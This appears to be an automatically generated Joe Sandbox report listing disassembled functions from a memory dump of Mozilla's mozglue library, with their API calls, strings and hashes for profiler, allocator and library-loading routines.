API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 3b67b1594eccb66e4f98e5d9506c6e26ce6c3f8c3779ac753a0a209bcf1de598
Instruction ID: d8ce3de07abc2b56452d27a3d693e92c5a02a6c02c7f8282d5b4f94ac134449f
Opcode Fuzzy Hash: 3b67b1594eccb66e4f98e5d9506c6e26ce6c3f8c3779ac753a0a209bcf1de598
Instruction Fuzzy Hash: 8BF0BEB5308640ABEE007B659848EAE7B7CFBC62ADF008421EB0583709CB354801C765

Function 6CAD0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CAD0DF8), ref: 6CAD0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CAD0EA1
__Init_thread_footer.LIBCMT ref: 6CAD0EB5
FreeLibrary.KERNEL32 ref: 6CAD0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CAD0E9B
kernel32.dll, xrefs: 6CAD0E7D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0c7b8e815d01c385d4cdab865ff1cdccb1ec4dff79430e2631f42cf97d3f31ae
Instruction ID: 4ef7300dc1e22386fabdc558b2ef05296a68a07a92de1bb9614ed01290170008
Opcode Fuzzy Hash: 0c7b8e815d01c385d4cdab865ff1cdccb1ec4dff79430e2631f42cf97d3f31ae
Instruction Fuzzy Hash: 18014F747483C28BDF00AFD8C918A4A73B6F75631DF15A915D92583F48DB38B8858A11

Function 6CB005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CAFCFAE,?,?,?,6CAC31A7), ref: 6CB005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CAFCFAE,?,?,?,6CAC31A7), ref: 6CB00616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAC31A7), ref: 6CB0061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAC31A7), ref: 6CB00627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB0061B, 6CB00625
<jemalloc>, xrefs: 6CB005FA, 6CB0060F

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: aa3aa712814d34b21a770d935510eb704baaa6bf559e4415c86f372ece65a359
Instruction ID: 4364431889dd17b00db077b10c85c24a9f84ae4a80a0c5c9bcf377f6147b09ac
Opcode Fuzzy Hash: aa3aa712814d34b21a770d935510eb704baaa6bf559e4415c86f372ece65a359
Instruction Fuzzy Hash: FCE08CE2A0206037F6142296AC86DBB761CDBC6138F080139FE0D87301E95AAD1A51F6

Function 6CAD05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1558baa42a6cb7ac9722442fc21053a9b39360ed006be326090281c40dd62745
Instruction ID: 6dcc9ba92d63a158a886ac282943ef142d44e14e9f9c1ebd905d68289101786b
Opcode Fuzzy Hash: 1558baa42a6cb7ac9722442fc21053a9b39360ed006be326090281c40dd62745
Instruction Fuzzy Hash: CCA14974A04645CFDB14CF29C594A9AFBF1BF48304F45866ED45A9BB00E770B989CF90

Function 6CB214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB214E2
GetCurrentThreadId.KERNEL32 ref: 6CB21546
InitializeConditionVariable.KERNEL32(?), ref: 6CB215BA
free.MOZGLUE(?), ref: 6CB216B4

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: d6de91f0f8a589c955665fcb1affe4dcce80d50caf185777072b75a4ef622df2
Instruction ID: 1f75dcaadaeb66e7ba6cbe3bfb16b00613997c0d6bc1b6391d3104e31771f89a
Opcode Fuzzy Hash: d6de91f0f8a589c955665fcb1affe4dcce80d50caf185777072b75a4ef622df2
Instruction Fuzzy Hash: 0361F271A047849BDB119F20D880BEE77B4FF89308F48851CED8A57701DB35E949CB92

Function 6CB19F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB19FDB
free.MOZGLUE(?,?), ref: 6CB19FF0
free.MOZGLUE(?,?), ref: 6CB1A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB1A0BE
free.MOZGLUE(?,?), ref: 6CB1A0D5
free.MOZGLUE(?,?), ref: 6CB1A0EB

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 99a0e5bf3cc2828a97b8fd53bbc8c3887b36f203b9c500d31c2d0256f4b7eec0
Instruction ID: 255f7af8ea47f1d045cc6fe3ef946a38212667ca678220b55367425d8d764779
Opcode Fuzzy Hash: 99a0e5bf3cc2828a97b8fd53bbc8c3887b36f203b9c500d31c2d0256f4b7eec0
Instruction Fuzzy Hash: D56140759096419FC711CF18C58056AB3F5FF88328F548659E8999BB02E731F98ACBC2

Function 6CB1DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB1DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB1D38A,?), ref: 6CB1DC6F
free.MOZGLUE(?,?,?,?,?,6CB1D38A,?), ref: 6CB1DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB1D38A,?), ref: 6CB1DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB1D38A,?), ref: 6CB1DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB1D38A,?), ref: 6CB1DD4A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 0ad2008727e262ab42a8ef1c681c90905f166e6e5c3fe7bdca6e5632fb308145
Instruction ID: 658c5d4bb3c8e7f0926c8d8922d208bc186252546151eab8578052d6f9385add
Opcode Fuzzy Hash: 0ad2008727e262ab42a8ef1c681c90905f166e6e5c3fe7bdca6e5632fb308145
Instruction Fuzzy Hash: 3F4178B5A04615DFCB00CFA9D88099EBBF6FF89318B5545A9DA45ABB10DB31FC00CB90

Function 6CB06590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFFA80: GetCurrentThreadId.KERNEL32 ref: 6CAFFA8D
Part of subcall function 6CAFFA80: AcquireSRWLockExclusive.KERNEL32(6CB4F448), ref: 6CAFFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB06727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB067C8

Part of subcall function 6CB14290: memcpy.VCRUNTIME140(?,?,6CB22003,6CB20AD9,?,6CB20AD9,00000000,?,6CB20AD9,?,00000004,?,6CB21A62,?,6CB22003,?), ref: 6CB142C4

Strings

data, xrefs: 6CB06593

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: a0ca3586f6d70ad7d8571360431af2b172934c9c9cc9cfd596a8c50f14dd5377
Instruction ID: f89bc973215c05121df9b2d24545e0c3969fee9d6dac850720127e73a87ce81d
Opcode Fuzzy Hash: a0ca3586f6d70ad7d8571360431af2b172934c9c9cc9cfd596a8c50f14dd5377
Instruction Fuzzy Hash: 2AD1C175B083808FD724DF24D851B9FBBE5AFD5308F10892DE48987B51DB30A989CB92

Function 6CAFD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CACEB57,?,?,?,?,?,?,?,?,?), ref: 6CAFD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CACEB57,?), ref: 6CAFD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CACEB57,?), ref: 6CAFD673
free.MOZGLUE(?), ref: 6CAFD888

Strings

|Enabled, xrefs: 6CAFD81E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 02e95f57fb60aac55eb51907806f42b5f2010bdf629b5437cfeab720e18854a9
Instruction ID: 7fffe866c8a097d22aba2f30f2355da6794294eefdfa3e42025140bd88ca6bb7
Opcode Fuzzy Hash: 02e95f57fb60aac55eb51907806f42b5f2010bdf629b5437cfeab720e18854a9
Instruction Fuzzy Hash: 78A10970E043488FDB12CF65C4847EEBBF1AF49318F18815CE8656B741D731A88ACBA1

Function 6CAFF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CAFF480

Part of subcall function 6CACF100: LoadLibraryW.KERNEL32(shell32,?,6CB3D020), ref: 6CACF122
Part of subcall function 6CACF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CACF132

CloseHandle.KERNEL32(00000000), ref: 6CAFF555

Part of subcall function 6CAD14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD1248,6CAD1248,?), ref: 6CAD14C9
Part of subcall function 6CAD14B0: memcpy.VCRUNTIME140(?,6CAD1248,00000000,?,6CAD1248,?), ref: 6CAD14EF

Part of subcall function 6CACEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CACEEE3

CreateFileW.KERNEL32 ref: 6CAFF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CAFF523

Strings

\oleacc.dll, xrefs: 6CAFF4CB

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 29ac6dfab8f5b9f049ffa8c66d34c1e251e4f3672a64964f57363dcd0f5dac6e
Instruction ID: 6cfaf4f75a58e561a3094b14e3758b2cd7a48c9dcffb2dee3bae1b331967d16b
Opcode Fuzzy Hash: 29ac6dfab8f5b9f049ffa8c66d34c1e251e4f3672a64964f57363dcd0f5dac6e
Instruction Fuzzy Hash: 5B41B4706087509FD721DF69CD84A9BB7F4BF84318F504A1CF6A493650EB34D98ACB92

Function 6CB0E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0E04F

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CB0E057

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: ce3927a4cf3839b7ac56c144f1b1001da0f043a38685ee94d76b42f05b97b366
Instruction ID: ecb3c2ab29243dce431edcfc2c95109c26d3617b8fcaa9cb4be31866eb2c4556
Opcode Fuzzy Hash: ce3927a4cf3839b7ac56c144f1b1001da0f043a38685ee94d76b42f05b97b366
Instruction Fuzzy Hash: E821F274B001888FDF00EF64D859AAEBBB9FF8520CF144014ED4A97740EB31A909C7E2

Function 6CB274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB27526
__Init_thread_footer.LIBCMT ref: 6CB27566
__Init_thread_footer.LIBCMT ref: 6CB27597

Strings

UnmapViewOfFile2, xrefs: 6CB27552
kernel32.dll, xrefs: 6CB27557

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 7046a93f9672820a2601686a1566cb35b3f8d59220270aefaf319c0d439b889d
Instruction ID: 049b10cc9c87dabab78f2025d275be386dc9ae7af1645ce54c0cd05fc7483bb0
Opcode Fuzzy Hash: 7046a93f9672820a2601686a1566cb35b3f8d59220270aefaf319c0d439b889d
Instruction Fuzzy Hash: 6E2179357085C1A7CB059FE8C814EAA3376FB8633CF058128E81967B40C77CAC02CA9B

Function 6CB2A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4F770,-00000001,?,6CB3E330,?,6CAEBDF7), ref: 6CB2A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CAEBDF7), ref: 6CB2A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CAEBDF7), ref: 6CB2A7E4
LeaveCriticalSection.KERNEL32(6CB4F770), ref: 6CB2A80A

Strings

accelerator.dll, xrefs: 6CB2A7BF

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 3a2edb410da1f92a200d121de41dc8d466bbb91036b642a4013c420071901324
Instruction ID: fab12c29cb54918206fac98094e7252dfed75f421bfc4149a251b8880fb7d6fb
Opcode Fuzzy Hash: 3a2edb410da1f92a200d121de41dc8d466bbb91036b642a4013c420071901324
Instruction Fuzzy Hash: 2A01A2716083449FEF04DF99D884C257BF8FB9A329705C46AE9098B755DB74A800CFA1

Function 6CACF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CACEE51,?), ref: 6CACF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CACF0C2

Strings

Could not find CoTaskMemFree, xrefs: 6CACF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CACF0DC
ole32, xrefs: 6CACF0AD

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 7d1ed2ef9da6a0da751723fe21dbfb54b5766bfe04953e88d51a9da8134afc55
Instruction ID: f34a9f5e64b4daaccd8519a4fed1b600afe394ec10d387a7b0198ef11c41324f
Opcode Fuzzy Hash: 7d1ed2ef9da6a0da751723fe21dbfb54b5766bfe04953e88d51a9da8134afc55
Instruction Fuzzy Hash: 4FE0D87478D6419B9F046A66AC18A2A37BC7B52A1D31CC42DE511D3E0CFA20D010C612

Function 6CB00080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAD7204), ref: 6CB00088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CB000A7
FreeLibrary.KERNEL32(?,6CAD7204), ref: 6CB000BE

Strings

wintrust.dll, xrefs: 6CB00083
CryptCATAdminAcquireContext2, xrefs: 6CB000A1

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 69b5032e7a2271892d0795b425c99749e8c08ca569a15a7ea2ad598f2c1cc668
Instruction ID: 9cc508ce1b56809553089b1f94f86d0a5500f7a630ad9b0c811dd75722089e0f
Opcode Fuzzy Hash: 69b5032e7a2271892d0795b425c99749e8c08ca569a15a7ea2ad598f2c1cc668
Instruction Fuzzy Hash: 70E0E57464C784DADF00BF669808B057BFDB70B34AF50C415AA10C7608EB75C0109B22

Function 6CB000D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAD7235), ref: 6CB000D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CB000F7
FreeLibrary.KERNEL32(?,6CAD7235), ref: 6CB0010E

Strings

wintrust.dll, xrefs: 6CB000D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CB000F1

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: a0bc087ac2b5eee90c9b823eae095562376dbf4a5dbd9a89037cbca4d59de827
Instruction ID: c424a6c2657b2d25463122b7e7670860a896f26f404a6c25c950f0b77f6879be
Opcode Fuzzy Hash: a0bc087ac2b5eee90c9b823eae095562376dbf4a5dbd9a89037cbca4d59de827
Instruction Fuzzy Hash: C9E01A7478D785DBEF00BF25D90AF267FF8F70220EF50C415AA0987608DBB0C0108A11

Function 6CB2C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB2C0E9), ref: 6CB2C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB2C437
FreeLibrary.KERNEL32(?,6CB2C0E9), ref: 6CB2C44C

Strings

ntdll.dll, xrefs: 6CB2C413
NtQueryVirtualMemory, xrefs: 6CB2C431

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

